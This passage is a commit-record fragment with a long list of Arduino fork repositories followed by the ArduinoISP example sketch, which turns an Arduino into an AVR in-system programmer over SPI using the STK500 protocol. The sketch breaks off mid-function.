,wdoganowski\/Arduino,drpjk\/Arduino,me-no-dev\/Arduino-1,mangelajo\/Arduino,jamesrob4\/Arduino,jomolinare\/Arduino,PaoloP74\/Arduino,Cloudino\/Arduino,nkolban\/Arduino,zederson\/Arduino,radiolok\/Energia,karlitxo\/Arduino,radut\/Arduino,adamkh\/Arduino,bobintornado\/Energia,tannewt\/Arduino,mboufos\/esp8266-Arduino,jaej-dev\/Arduino,fungxu\/Arduino,paulo-raca\/ESP8266-Arduino,ogferreiro\/Arduino,dvdvideo1234\/Energia,gberl001\/Arduino,tomkrus007\/Arduino,majenkotech\/Arduino,ashwin713\/Arduino,DavidUser\/Energia,gurbrinder\/Arduino,karlitxo\/Arduino,nkolban\/Arduino,croberts15\/Energia,snargledorf\/Arduino,vbextreme\/Arduino,DavidUser\/Energia,Orthogonal-Systems\/arduino-libs,drpjk\/Arduino,brianonn\/Energia,wilhelmryan\/Arduino,wilhelmryan\/Arduino,pdNor\/Arduino,jomolinare\/Arduino,pasky\/Energia,ThoughtWorksIoTGurgaon\/Arduino,plinioseniore\/Arduino,PaintYourDragon\/Arduino,adafruit\/ESP8266-Arduino,acosinwork\/Arduino,PeterVH\/Arduino,bigjosh\/Arduino,shannonshsu\/Arduino,leftbrainstrain\/Arduino-ESP8266,snargledorf\/Arduino,leftbrainstrain\/Arduino-ESP8266,martianmartin\/Energia,sanyaade-iot\/Arduino-1,jomolinare\/Arduino,majenkotech\/Arduino,NicoHood\/Arduino,dvdvideo1234\/Energia,byran\/Arduino,Chris--A\/Arduino,SmartArduino\/Arduino-1,talhaburak\/Arduino,noahchense\/Arduino-1,ikbelkirasan\/Arduino,01org\/Arduino,meanbot\/Energia,snargledorf\/Arduino,ari-analytics\/Arduino,tannewt\/Arduino,arduino-org\/Arduino,tbowmo\/Arduino,rodibot\/Arduino,stickbreaker\/Arduino,lulufei\/Arduino,lukeWal\/Arduino,lukeWal\/Arduino,lukeWal\/Arduino,ogferreiro\/Arduino,stevemarple\/Arduino-org,OpenDevice\/Arduino,radut\/Arduino,battosai30\/Energia,rodibot\/Arduino,Chris--A\/Arduino,DavidUser\/Energia,radiolok\/Energia,ektor5\/Arduino,stevemayhew\/Arduino,onovy\/Arduino,qtonthat\/Energia,paulmand3l\/Arduino,plaintea\/esp8266-Arduino,ccoenen\/Arduino,jaimemaretoli\/Arduino,tannewt\/Arduino,lulufei\/Arduino,dvdvideo1234\/Energia,ThoughtWorksIoTGurgaon\/Arduino,steamboating\/Arduino,wdoganowski\/Arduino,gberl001\/Arduino,zenmanenergy\/Arduino,i--storm\/Energia,pdNor\/Arduino,garci66\/Arduino,jabezGit\/Arduino,sanyaade-iot\/Energia,probonopd\/Arduino,lulufei\/Arduino,shannonshsu\/Arduino,gestrem\/Arduino,UDOOboard\/Arduino,wilhelmryan\/Arduino,zederson\/Arduino,radiolok\/Energia,NicoHood\/Arduino,vigneshmanix\/Energia,rcook\/DesignLab,ikbelkirasan\/Arduino,radut\/Arduino,KlaasDeNys\/Arduino,championswimmer\/Arduino,rcook\/DesignLab,gestrem\/Arduino,Gourav2906\/Arduino,piersoft\/esp8266-Arduino,jomolinare\/Arduino,qtonthat\/Energia,SmartArduino\/Arduino-1,zenmanenergy\/Arduino,superboonie\/Arduino,cscenter\/Arduino,xxxajk\/Arduino-1,PaoloP74\/Arduino,jmgonzalez00449\/Arduino,PaintYourDragon\/Arduino,laylthe\/Arduino,mc-hamster\/esp8266-Arduino,majenkotech\/Arduino,mangelajo\/Arduino,fungxu\/Arduino,vbextreme\/Arduino,odbol\/Arduino,jaimemaretoli\/Arduino,nandojve\/Arduino,tannewt\/Arduino,ntruchsess\/Arduino-1,plinioseniore\/Arduino,andrealmeidadomingues\/Arduino,paulo-raca\/ESP8266-Arduino,superboonie\/Arduino,zederson\/Arduino,andyvand\/Arduino-1,Ramoonus\/Arduino,majenkotech\/Arduino,NicoHood\/Arduino,ashwin713\/Arduino,cevatbostancioglu\/Energia,stevemarple\/Arduino-org,stickbreaker\/Arduino,jmgonzalez00449\/Arduino,bsmr-arduino\/Arduino,wayoda\/Arduino,aichi\/Arduino-2,plaintea\/esp8266-Arduino,talhaburak\/Arduino,xxxajk\/Arduino-1,stevemayhew\/Arduino,xxxajk\/Arduino-1,bobintornado\/Energia,NaSymbol\/Arduino,myrtleTree33\/Arduino,radut\/Arduino,andyvand\/Arduino-1,probonopd\/Arduino,danielchalef\/Arduino,mattvenn\/Arduino,steamboating\/Arduino,jabezGit\/Arduino,adafruit\/ESP8266-Arduino,shiitakeo\/Arduino,OpenDevice\/Arduino,jaimemaretoli\/Arduino,zacinaction\/Energia,steamboating\/Arduino,vigneshmanix\/Energia,vigneshmanix\/Energia,benwolfe\/esp8266-Arduino,ccoenen\/Arduino,eddyst\/Arduino-SourceCode,KlaasDeNys\/Arduino,tommyli2014\/Arduino,mattvenn\/Arduino,myrtleTree33\/Arduino,cscenter\/Arduino,jaimemaretoli\/Arduino,jmgonzalez00449\/Arduino,sanyaade-iot\/Arduino-1,tomkrus007\/Arduino,kidswong999\/Arduino,ricklon\/Arduino,henningpohl\/Arduino,jamesrob4\/Arduino,croberts15\/Energia,paulo-raca\/ESP8266-Arduino,talhaburak\/Arduino,eddyst\/Arduino-SourceCode,arunkuttiyara\/Arduino,piersoft\/esp8266-Arduino,niggor\/Arduino_cc,croberts15\/Energia,tomkrus007\/Arduino,linino\/Arduino,ricklon\/Arduino,radut\/Arduino,EmuxEvans\/Arduino,me-no-dev\/Arduino-1,zaiexx\/Arduino,ccoenen\/Arduino,wayoda\/Arduino,onovy\/Arduino,stevemarple\/Arduino-org,raimohanska\/Arduino,danielchalef\/Arduino,gurbrinder\/Arduino,garci66\/Arduino,cscenter\/Arduino,Alfredynho\/AgroSis,NoPinky\/Energia,brianonn\/Energia,chaveiro\/Arduino,mateuszdw\/Arduino,byran\/Arduino,benwolfe\/esp8266-Arduino,ogferreiro\/Arduino,tbowmo\/Arduino,odbol\/Arduino,KlaasDeNys\/Arduino,karlitxo\/Arduino,vbextreme\/Arduino,KlaasDeNys\/Arduino,lulufei\/Arduino,Chris--A\/Arduino,ashwin713\/Arduino,eggfly\/arduino,zacinaction\/Energia,EmuxEvans\/Arduino,adafruit\/ESP8266-Arduino,onovy\/Arduino,bigjosh\/Arduino,KlaasDeNys\/Arduino,ashwin713\/Arduino,tommyli2014\/Arduino,NeuralSpaz\/Arduino,zaiexx\/Arduino,radut\/Arduino,probonopd\/Arduino,tbowmo\/Arduino,danielohh\/Energia,bsmr-arduino\/Arduino,stevemayhew\/Arduino,paulmand3l\/Arduino,bigjosh\/Arduino,KlaasDeNys\/Arduino,odbol\/Arduino,martianmartin\/Energia,cscenter\/Arduino,nandojve\/Arduino,Cloudino\/Arduino,zenmanenergy\/Arduino,garci66\/Arduino,martianmartin\/Energia,superboonie\/Arduino,jamesrob4\/Arduino,radiolok\/Energia,jmgonzalez00449\/Arduino,eeijcea\/Arduino-1,dvdvideo1234\/Energia,drpjk\/Arduino,stevemarple\/Arduino,PeterVH\/Arduino,SmartArduino\/Arduino-1,NicoHood\/Arduino,damellis\/Arduino,superboonie\/Arduino,superboonie\/Arduino,smily77\/Arduino,benwolfe\/esp8266-Arduino,vigneshmanix\/Energia,dvdvideo1234\/Energia,ThoughtWorksIoTGurgaon\/Arduino,sanyaade-iot\/Energia,tbowmo\/Arduino,Alfredynho\/AgroSis,onovy\/Arduino,PeterVH\/Arduino,stevemayhew\/Arduino,Gourav2906\/Arduino,jaej-dev\/Arduino,tannewt\/Arduino,eddyst\/Arduino-SourceCode,ari-analytics\/Arduino,paulmand3l\/Arduino,01org\/Arduino,stevemarple\/Arduino,diydrones\/Arduino,bugobliterator\/BUAGI,gonium\/Arduino,steamboating\/Arduino,jaehong\/Xmegaduino,stevemayhew\/Arduino,laylthe\/Arduino,jmgonzalez00449\/Arduino,jaimemaretoli\/Arduino,gberl001\/Arduino,ikbelkirasan\/Arduino,ForestNymph\/Arduino_sources,cscenter\/Arduino,weera00\/Arduino,raimohanska\/Arduino,KlaasDeNys\/Arduino,stickbreaker\/Arduino,ari-analytics\/Arduino,croberts15\/Energia,tskurauskas\/Arduino,battosai30\/Energia,onovy\/Arduino,andyvand\/Arduino-1,brianonn\/Energia,koltegirish\/Arduino,andrealmeidadomingues\/Arduino,adamkh\/Arduino,nandojve\/Arduino,tommyli2014\/Arduino,chaveiro\/Arduino,sanyaade-iot\/Energia,jmgonzalez00449\/Arduino,henningpohl\/Arduino,tskurauskas\/Arduino,PaoloP74\/Arduino,spapadim\/Arduino,mattvenn\/Arduino,Ramoonus\/Arduino,NoPinky\/Energia,me-no-dev\/Arduino-1,spapadim\/Arduino,talhaburak\/Arduino,gberl001\/Arduino,wdoganowski\/Arduino,shannonshsu\/Arduino,cevatbostancioglu\/Energia,vbextreme\/Arduino,odbol\/Arduino,adamkh\/Arduino,jaehong\/Xmegaduino,ntruchsess\/Arduino-1,superboonie\/Arduino,niggor\/Arduino_cc,qtonthat\/Energia,smily77\/Arduino,jomolinare\/Arduino,Gourav2906\/Arduino,onovy\/Arduino,Protoneer\/Arduino,Protoneer\/Arduino,mboufos\/esp8266-Arduino,kidswong999\/Arduino,bsmr-arduino\/Arduino,mateuszdw\/Arduino,chaveiro\/Arduino,eddyst\/Arduino-SourceCode,ntruchsess\/Arduino-1,tskurauskas\/Arduino,ms-iot\/Arduino,ikbelkirasan\/Arduino,cscenter\/Arduino,leftbrainstrain\/Arduino-ESP8266,PeterVH\/Arduino,shiitakeo\/Arduino,shiitakeo\/Arduino,ari-analytics\/Arduino,Orthogonal-Systems\/arduino-libs,jaehong\/Xmegaduino,spapadim\/Arduino,bugobliterator\/BUAGI,garci66\/Arduino,pdNor\/Arduino,pasky\/Energia,Protoneer\/Arduino,arduino-org\/Arduino,andrealmeidadomingues\/Arduino,stevemarple\/Arduino,diydrones\/Arduino,DavidUser\/Energia,byran\/Arduino,NoPinky\/Energia,ricklon\/Arduino,garci66\/Arduino,mc-hamster\/esp8266-Arduino,zaiexx\/Arduino,acosinwork\/Arduino,drpjk\/Arduino,vbextreme\/Arduino,vbextreme\/Arduino,cevatbostancioglu\/Energia,probonopd\/Arduino,ssvs111\/Arduino,Cloudino\/Cloudino-Arduino-IDE,DavidUser\/Energia,plinioseniore\/Arduino,ThoughtWorksIoTGurgaon\/Arduino,ashwin713\/Arduino,ms-iot\/Arduino,pasky\/Energia,steamboating\/Arduino,shiitakeo\/Arduino,arduino-org\/Arduino,HCastano\/Arduino,sanyaade-iot\/Energia,linino\/Arduino,wayoda\/Arduino,wayoda\/Arduino,Protoneer\/Arduino,Cloudino\/Arduino,jaej-dev\/Arduino,championswimmer\/Arduino,benwolfe\/esp8266-Arduino,mateuszdw\/Arduino,henningpohl\/Arduino,garci66\/Arduino,ForestNymph\/Arduino_sources,ssvs111\/Arduino,odbol\/Arduino,ms-iot\/Arduino,nandojve\/Arduino,damellis\/Arduino,mattvenn\/Arduino,onovy\/Arduino,snargledorf\/Arduino,koltegirish\/Arduino,PeterVH\/Arduino,Chris--A\/Arduino,raimohanska\/Arduino,Protoneer\/Arduino,stickbreaker\/Arduino,spapadim\/Arduino,tskurauskas\/Arduino,lulufei\/Arduino,PeterVH\/Arduino,ari-analytics\/Arduino,stickbreaker\/Arduino,Gourav2906\/Arduino,jadonk\/Energia,Protoneer\/Arduino,andrealmeidadomingues\/Arduino,Cloudino\/Arduino,rcook\/DesignLab,cevatbostancioglu\/Energia,wdoganowski\/Arduino,tbowmo\/Arduino,nandojve\/Arduino,EmuxEvans\/Arduino,jaej-dev\/Arduino,aichi\/Arduino-2,nandojve\/Arduino,mc-hamster\/esp8266-Arduino,talhaburak\/Arduino,Orthogonal-Systems\/arduino-libs,rcook\/DesignLab,arunkuttiyara\/Arduino,jamesrob4\/Arduino,leftbrainstrain\/Arduino-ESP8266,381426068\/Arduino,meanbot\/Energia,jaimemaretoli\/Arduino,adamkh\/Arduino,ThoughtWorksIoTGurgaon\/Arduino,fungxu\/Arduino,jamesrob4\/Arduino,arduino-org\/Arduino,damellis\/Arduino,ThoughtWorksIoTGurgaon\/Arduino,nkolban\/Arduino,mateuszdw\/Arduino,HCastano\/Arduino,DavidUser\/Energia,wayoda\/Arduino,stevemarple\/Arduino,ForestNymph\/Arduino_sources,pdNor\/Arduino,wilhelmryan\/Arduino,diydrones\/Arduino,niggor\/Arduino_cc,raimohanska\/Arduino,HCastano\/Arduino,linino\/Arduino,tomkrus007\/Arduino,bugobliterator\/BUAGI,ForestNymph\/Arduino_sources,Ramoonus\/Arduino,henningpohl\/Arduino,stevemarple\/Arduino-org,tskurauskas\/Arduino,ari-analytics\/Arduino,mangelajo\/Arduino,piersoft\/esp8266-Arduino,paulmand3l\/Arduino,mc-hamster\/esp8266-Arduino,stevemarple\/Arduino-org,kidswong999\/Arduino,danielchalef\/Arduino,Alfredynho\/AgroSis,gurbrinder\/Arduino,lukeWal\/Arduino,01org\/Arduino,NicoHood\/Arduino,pdNor\/Arduino,tommyli2014\/Arduino,chaveiro\/Arduino,381426068\/Arduino,i--storm\/Energia,snargledorf\/Arduino,zacinaction\/Energia,sanyaade-iot\/Energia,PaintYourDragon\/Arduino,danielohh\/Energia,NeuralSpaz\/Arduino,myrtleTree33\/Arduino,karlitxo\/Arduino,paulmand3l\/Arduino,eduardocasarin\/Arduino,ricklon\/Arduino,ikbelkirasan\/Arduino,ccoenen\/Arduino,stevemarple\/Arduino,jaimemaretoli\/Arduino,scdls\/Arduino,paulo-raca\/ESP8266-Arduino,mangelajo\/Arduino,radiolok\/Energia,scdls\/Arduino,superboonie\/Arduino,ThoughtWorksIoTGurgaon\/Arduino,Cloudino\/Cloudino-Arduino-IDE,Alfredynho\/AgroSis,sanyaade-iot\/Arduino-1,kidswong999\/Arduino,NaSymbol\/Arduino,eggfly\/arduino,adafruit\/ESP8266-Arduino,NaSymbol\/Arduino,gurbrinder\/Arduino,Alfredynho\/AgroSis,tommyli2014\/Arduino,danielchalef\/Arduino,NoPinky\/Energia,radut\/Arduino,andyvand\/Arduino-1,eddyst\/Arduino-SourceCode,ssvs111\/Arduino,bugobliterator\/BUAGI,adamkh\/Arduino,byran\/Arduino,ssvs111\/Arduino,probonopd\/Arduino,laylthe\/Arduino,gurbrinder\/Arduino,bugobliterator\/BUAGI,smily77\/Arduino,diydrones\/Arduino,bsmr-arduino\/Arduino,zederson\/Arduino,paulo-raca\/ESP8266-Arduino,acosinwork\/Arduino,henningpohl\/Arduino,tomkrus007\/Arduino,shiitakeo\/Arduino,radiolok\/Energia,linino\/Arduino,EmuxEvans\/Arduino,drpjk\/Arduino,scdls\/Arduino,byran\/Arduino,zenmanenergy\/Arduino,brianonn\/Energia,karlitxo\/Arduino,Cloudino\/Cloudino-Arduino-IDE,ari-analytics\/Arduino,kidswong999\/Arduino,championswimmer\/Arduino,Gourav2906\/Arduino,cscenter\/Arduino,lulufei\/Arduino,mattvenn\/Arduino,qtonthat\/Energia,Ramoonus\/Arduino,fungxu\/Arduino,pasky\/Energia,danielohh\/Energia,jabezGit\/Arduino,croberts15\/Energia,kidswong999\/Arduino,HCastano\/Arduino,cevatbostancioglu\/Energia,jamesrob4\/Arduino,sanyaade-iot\/Arduino-1,acosinwork\/Arduino,sanyaade-iot\/Arduino-1,leftbrainstrain\/Arduino-ESP8266,zenmanenergy\/Arduino,ektor5\/Arduino,kidswong999\/Arduino,NaSymbol\/Arduino,pdNor\/Arduino,danielchalef\/Arduino,PeterVH\/Arduino,plinioseniore\/Arduino,SmartArduino\/Arduino-1,bigjosh\/Arduino,toddtreece\/esp8266-Arduino,talhaburak\/Arduino,ms-iot\/Arduino,niggor\/Arduino_cc,scdls\/Arduino,HCastano\/Arduino,martianmartin\/Energia,i--storm\/Energia,ricklon\/Arduino,OpenDevice\/Arduino,ektor5\/Arduino,niggor\/Arduino_cc,tannewt\/Arduino,cevatbostancioglu\/Energia,cscenter\/Arduino,jadonk\/Energia,wilhelmryan\/Arduino,jabezGit\/Arduino,mangelajo\/Arduino,brianonn\/Energia,plinioseniore\/Arduino,rodibot\/Arduino,OpenDevice\/Arduino,zaiexx\/Arduino,koltegirish\/Arduino,bobintornado\/Energia,UDOOboard\/Arduino,battosai30\/Energia,eggfly\/arduino,ssvs111\/Arduino,jaehong\/Xmegaduino,Alfredynho\/AgroSis,rcook\/DesignLab,NeuralSpaz\/Arduino,meanbot\/Energia,Cloudino\/Cloudino-Arduino-IDE,raimohanska\/Arduino,ms-iot\/Arduino,mateuszdw\/Arduino,eeijcea\/Arduino-1,fungxu\/Arduino,NoPinky\/Energia,mboufos\/esp8266-Arduino,ogahara\/Arduino,aichi\/Arduino-2,ikbelkirasan\/Arduino,ms-iot\/Arduino,Cloudino\/Cloudino-Arduino-IDE,Gourav2906\/Arduino,smily77\/Arduino,mangelajo\/Arduino,ntruchsess\/Arduino-1,croberts15\/Energia,acosinwork\/Arduino,ektor5\/Arduino,gonium\/Arduino,diydrones\/Arduino,gestrem\/Arduino,koltegirish\/Arduino,raimohanska\/Arduino,damellis\/Arduino,jabezGit\/Arduino,jabezGit\/Arduino,DavidUser\/Energia,niggor\/Arduino_cc,danielchalef\/Arduino,ogferreiro\/Arduino,ccoenen\/Arduino,HCastano\/Arduino,smily77\/Arduino,jaehong\/Xmegaduino,pasky\/Energia,rcook\/DesignLab,mateuszdw\/Arduino,shannonshsu\/Arduino,eeijcea\/Arduino-1,NeuralSpaz\/Arduino,PaoloP74\/Arduino,shiitakeo\/Arduino,chaveiro\/Arduino,OpenDevice\/Arduino,rodibot\/Arduino,jadonk\/Energia,weera00\/Arduino,jadonk\/Energia,sanyaade-iot\/Arduino-1,pdNor\/Arduino,ikbelkirasan\/Arduino,linino\/Arduino,PaoloP74\/Arduino,damellis\/Arduino,henningpohl\/Arduino,andrealmeidadomingues\/Arduino,noahchense\/Arduino-1,381426068\/Arduino,stevemarple\/Arduino-org,jmgonzalez00449\/Arduino,jamesrob4\/Arduino,kidswong999\/Arduino,EmuxEvans\/Arduino,shannonshsu\/Arduino,plinioseniore\/Arduino,bsmr-arduino\/Arduino,koltegirish\/Arduino,noahchense\/Arduino-1,laylthe\/Arduino,plaintea\/esp8266-Arduino,NeuralSpaz\/Arduino,plaintea\/esp8266-Arduino,Chris--A\/Arduino,NoPinky\/Energia,nkolban\/Arduino,paulmand3l\/Arduino,noahchense\/Arduino-1,eddyst\/Arduino-SourceCode,stevemarple\/Arduino,mboufos\/esp8266-Arduino,tomkrus007\/Arduino,jaimemaretoli\/Arduino,SmartArduino\/Arduino-1,scdls\/Arduino,wayoda\/Arduino,arunkuttiyara\/Arduino,jaej-dev\/Arduino,PaoloP74\/Arduino,eduardocasarin\/Arduino,eggfly\/arduino,bugobliterator\/BUAGI,piersoft\/esp8266-Arduino,probonopd\/Arduino,eggfly\/arduino,ogahara\/Arduino,Ramoonus\/Arduino,gurbrinder\/Arduino,championswimmer\/Arduino,gonium\/Arduino,UDOOboard\/Arduino,damellis\/Arduino,brianonn\/Energia,shannonshsu\/Arduino,UDOOboard\/Arduino,ccoenen\/Arduino,SmartArduino\/Arduino-1,Cloudino\/Arduino,tannewt\/Arduino,qtonthat\/Energia,eeijcea\/Arduino-1,andrealmeidadomingues\/Arduino,ntruchsess\/Arduino-1,stickbreaker\/Arduino,andyvand\/Arduino-1,eggfly\/arduino,NicoHood\/Arduino,bigjosh\/Arduino,paulo-raca\/ESP8266-Arduino,ntruchsess\/Arduino-1,NaSymbol\/Arduino,ogferreiro\/Arduino,ccoenen\/Arduino,andyvand\/Arduino-1,sanyaade-iot\/Energia,me-no-dev\/Arduino-1,stevemarple\/Arduino-org,eddyst\/Arduino-SourceCode,championswimmer\/Arduino,talhaburak\/Arduino,mangelajo\/Arduino,croberts15\/Energia,noahchense\/Arduino-1,cevatbostancioglu\/Energia,Protoneer\/Arduino,eddyst\/Arduino-SourceCode,piersoft\/esp8266-Arduino,plaintea\/esp8266-Arduino,ari-analytics\/Arduino,probonopd\/Arduino,weera00\/Arduino,ntruchsess\/Arduino-1,UDOOboard\/Arduino,Alfredynho\/AgroSis,PaintYourDragon\/Arduino,adamkh\/Arduino,stevemayhew\/Arduino,weera00\/Arduino,PaoloP74\/Arduino,niggor\/Arduino_cc,wayoda\/Arduino,raimohanska\/Arduino,wilhelmryan\/Arduino,odbol\/Arduino,gestrem\/Arduino,ogahara\/Arduino,steamboating\/Arduino,xxxajk\/Arduino-1,ashwin713\/Arduino,martianmartin\/Energia,toddtreece\/esp8266-Arduino,rodibot\/Arduino,adamkh\/Arduino,laylthe\/Arduino,eduardocasarin\/Arduino,gberl001\/Arduino,me-no-dev\/Arduino-1,tommyli2014\/Arduino,snargledorf\/Arduino,stevemayhew\/Arduino,drpjk\/Arduino,ogferreiro\/Arduino,ForestNymph\/Arduino_sources,majenkotech\/Arduino,bigjosh\/Arduino,gberl001\/Arduino,eduardocasarin\/Arduino,gonium\/Arduino,tskurauskas\/Arduino,qtonthat\/Energia,SmartArduino\/Arduino-1,gonium\/Arduino,ThoughtWorksIoTGurgaon\/Arduino,PeterVH\/Arduino,noahchense\/Arduino-1,tommyli2014\/Arduino,jaej-dev\/Arduino,vbextreme\/Arduino,zederson\/Arduino,niggor\/Arduino_cc,tbowmo\/Arduino,meanbot\/Energia,bobintornado\/Energia,adafruit\/ESP8266-Arduino,Chris--A\/Arduino,Ramoonus\/Arduino,arduino-org\/Arduino,KlaasDeNys\/Arduino,381426068\/Arduino,adamkh\/Arduino,steamboating\/Arduino,xxxajk\/Arduino-1,superboonie\/Arduino,meanbot\/Energia,i--storm\/Energia,aichi\/Arduino-2,rodibot\/Arduino,zederson\/Arduino,mattvenn\/Arduino,pasky\/Energia,ektor5\/Arduino,wdoganowski\/Arduino,laylthe\/Arduino,ricklon\/Arduino,wilhelmryan\/Arduino,myrtleTree33\/Arduino,gestrem\/Arduino,paulmand3l\/Arduino,me-no-dev\/Arduino-1,i--storm\/Energia,NicoHood\/Arduino,381426068\/Arduino,01org\/Arduino,UDOOboard\/Arduino,mc-hamster\/esp8266-Arduino,arunkuttiyara\/Arduino,bsmr-arduino\/Arduino,jomolinare\/Arduino,i--storm\/Energia,sanyaade-iot\/Arduino-1,pdNor\/Arduino,bigjosh\/Arduino,aichi\/Arduino-2,ashwin713\/Arduino,ogahara\/Arduino,shannonshsu\/Arduino,martianmartin\/Energia,danielohh\/Energia,henningpohl\/Arduino,PaoloP74\/Arduino,ssvs111\/Arduino,nkolban\/Arduino,nkolban\/Arduino,championswimmer\/Arduino,jadonk\/Energia,gonium\/Arduino,majenkotech\/Arduino,fungxu\/Arduino,EmuxEvans\/Arduino,scdls\/Arduino,eggfly\/arduino,linino\/Arduino,NoPinky\/Energia,ogahara\/Arduino,danielohh\/Energia,benwolfe\/esp8266-Arduino,leftbrainstrain\/Arduino-ESP8266,spapadim\/Arduino,ricklon\/Arduino,OpenDevice\/Arduino,nandojve\/Arduino,gestrem\/Arduino,smily77\/Arduino,dvdvideo1234\/Energia,plinioseniore\/Arduino,bobintornado\/Energia,noahchense\/Arduino-1,01org\/Arduino,acosinwork\/Arduino,meanbot\/Energia,zacinaction\/Energia,garci66\/Arduino,toddtreece\/esp8266-Arduino,PaintYourDragon\/Arduino,byran\/Arduino,01org\/Arduino,battosai30\/Energia,jaehong\/Xmegaduino,weera00\/Arduino,drpjk\/Arduino,mboufos\/esp8266-Arduino,snargledorf\/Arduino,bsmr-arduino\/Arduino,i--storm\/Energia,zacinaction\/Energia,xxxajk\/Arduino-1,myrtleTree33\/Arduino,karlitxo\/Arduino,ccoenen\/Arduino,zacinaction\/Energia,HCastano\/Arduino,tskurauskas\/Arduino,zaiexx\/Arduino,arunkuttiyara\/Arduino,NeuralSpaz\/Arduino,mattvenn\/Arduino,tbowmo\/Arduino,danielohh\/Energia,diydrones\/Arduino,lukeWal\/Arduino,Gourav2906\/Arduino,Chris--A\/Arduino,zederson\/Arduino,arduino-org\/Arduino,ssvs111\/Arduino,Cloudino\/Cloudino-Arduino-IDE,eeijcea\/Arduino-1,wdoganowski\/Arduino,ashwin713\/Arduino,bobintornado\/Energia,majenkotech\/Arduino,henningpohl\/Arduino,NaSymbol\/Arduino,battosai30\/Energia,nkolban\/Arduino,vigneshmanix\/Energia,dvdvideo1234\/Energia","old_file":"build\/shared\/examples\/ArduinoISP\/ArduinoISP.ino","new_file":"build\/shared\/examples\/ArduinoISP\/ArduinoISP.ino","new_contents":"\/\/ ArduinoISP version 04m3\n\/\/ Copyright (c) 2008-2011 Randall Bohn\n\/\/ If you require a license, see \n\/\/ http:\/\/www.opensource.org\/licenses\/bsd-license.php\n\/\/\n\/\/ This sketch turns the Arduino into a AVRISP\n\/\/ using the following arduino pins:\n\/\/\n\/\/ pin name: not-mega: mega(1280 and 2560)\n\/\/ slave reset: 10: 53 \n\/\/ MOSI: 11: 51 \n\/\/ MISO: 12: 50 \n\/\/ SCK: 13: 52 \n\/\/\n\/\/ Put an LED (with resistor) on the following pins:\n\/\/ 9: Heartbeat - shows the programmer is running\n\/\/ 8: Error - Lights up if something goes wrong (use red if that makes sense)\n\/\/ 7: Programming - In communication with the slave\n\/\/\n\/\/ 23 July 2011 Randall Bohn\n\/\/ -Address Arduino issue 509 :: Portability of ArduinoISP\n\/\/ http:\/\/code.google.com\/p\/arduino\/issues\/detail?id=509\n\/\/\n\/\/ October 2010 by Randall Bohn\n\/\/ - Write to EEPROM > 256 bytes\n\/\/ - Better use of LEDs:\n\/\/ -- Flash LED_PMODE on each flash commit\n\/\/ -- Flash LED_PMODE while writing EEPROM (both give visual feedback of writing progress)\n\/\/ - Light LED_ERR whenever we hit a STK_NOSYNC. Turn it off when back in sync.\n\/\/ - Use pins_arduino.h (should also work on Arduino Mega)\n\/\/\n\/\/ October 2009 by David A. Mellis\n\/\/ - Added support for the read signature command\n\/\/ \n\/\/ February 2009 by Randall Bohn\n\/\/ - Added support for writing to EEPROM (what took so long?)\n\/\/ Windows users should consider WinAVR's avrdude instead of the\n\/\/ avrdude included with Arduino software.\n\/\/\n\/\/ January 2008 by Randall Bohn\n\/\/ - Thanks to Amplificar for helping me with the STK500 protocol\n\/\/ - The AVRISP\/STK500 (mk I) protocol is used in the arduino bootloader\n\/\/ - The SPI functions herein were developed for the AVR910_ARD programmer \n\/\/ - More information at http:\/\/code.google.com\/p\/mega-isp\n\n#include \"pins_arduino.h\"\n#define RESET SS\n\n#define LED_HB 9\n#define LED_ERR 8\n#define LED_PMODE 7\n#define PROG_FLICKER true\n\n#define HWVER 2\n#define SWMAJ 1\n#define SWMIN 18\n\n\/\/ STK Definitions\n#define STK_OK 0x10\n#define STK_FAILED 0x11\n#define STK_UNKNOWN 0x12\n#define STK_INSYNC 0x14\n#define STK_NOSYNC 0x15\n#define CRC_EOP 0x20 \/\/ok it is a space...\n\nvoid pulse(int pin, int times);\n\nvoid setup() {\n Serial.begin(19200);\n pinMode(LED_PMODE, OUTPUT);\n pulse(LED_PMODE, 2);\n pinMode(LED_ERR, OUTPUT);\n pulse(LED_ERR, 2);\n pinMode(LED_HB, OUTPUT);\n pulse(LED_HB, 2);\n}\n\nint error=0;\nint pmode=0;\n\/\/ address for reading and writing, set by 'U' command\nint here;\nuint8_t buff[256]; \/\/ global block storage\n\n#define beget16(addr) (*addr * 256 + *(addr+1) )\ntypedef struct param {\n uint8_t devicecode;\n uint8_t revision;\n uint8_t progtype;\n uint8_t parmode;\n uint8_t polling;\n uint8_t selftimed;\n uint8_t lockbytes;\n uint8_t fusebytes;\n int flashpoll;\n int eeprompoll;\n int pagesize;\n int eepromsize;\n int flashsize;\n} \nparameter;\n\nparameter param;\n\n\/\/ this provides a heartbeat on pin 9, so you can tell the software is running.\nuint8_t hbval=128;\nint8_t hbdelta=8;\nvoid heartbeat() {\n if (hbval > 192) hbdelta = -hbdelta;\n if (hbval < 32) hbdelta = -hbdelta;\n hbval += hbdelta;\n analogWrite(LED_HB, hbval);\n delay(40);\n}\n\n\nvoid loop(void) {\n \/\/ is pmode active?\n if (pmode) digitalWrite(LED_PMODE, HIGH); \n else digitalWrite(LED_PMODE, LOW);\n \/\/ is there an error?\n if (error) digitalWrite(LED_ERR, HIGH); \n else digitalWrite(LED_ERR, LOW);\n\n \/\/ light the heartbeat LED\n heartbeat();\n if (Serial.available()) {\n avrisp();\n }\n}\n\nuint8_t getch() {\n while(!Serial.available());\n return Serial.read();\n}\nvoid fill(int n) {\n for (int x = 0; x < n; x++) {\n buff[x] = getch();\n }\n}\n\n#define PTIME 30\nvoid pulse(int pin, int times) {\n do {\n digitalWrite(pin, HIGH);\n delay(PTIME);\n digitalWrite(pin, LOW);\n delay(PTIME);\n } \n while (times--);\n}\n\nvoid prog_lamp(int state) {\n if (PROG_FLICKER)\n digitalWrite(LED_PMODE, state);\n}\n\nvoid spi_init() {\n uint8_t x;\n SPCR = 0x53;\n x=SPSR;\n x=SPDR;\n}\n\nvoid spi_wait() {\n do {\n } \n while (!(SPSR & (1 << SPIF)));\n}\n\nuint8_t spi_send(uint8_t b) {\n uint8_t reply;\n SPDR=b;\n spi_wait();\n reply = SPDR;\n return reply;\n}\n\nuint8_t spi_transaction(uint8_t a, uint8_t b, uint8_t c, uint8_t d) {\n uint8_t n;\n spi_send(a); \n n=spi_send(b);\n \/\/if (n != a) error = -1;\n n=spi_send(c);\n return spi_send(d);\n}\n\nvoid empty_reply() {\n if (CRC_EOP == getch()) {\n Serial.print((char)STK_INSYNC);\n Serial.print((char)STK_OK);\n } \n else {\n error++;\n Serial.print((char)STK_NOSYNC);\n }\n}\n\nvoid breply(uint8_t b) {\n if (CRC_EOP == getch()) {\n Serial.print((char)STK_INSYNC);\n 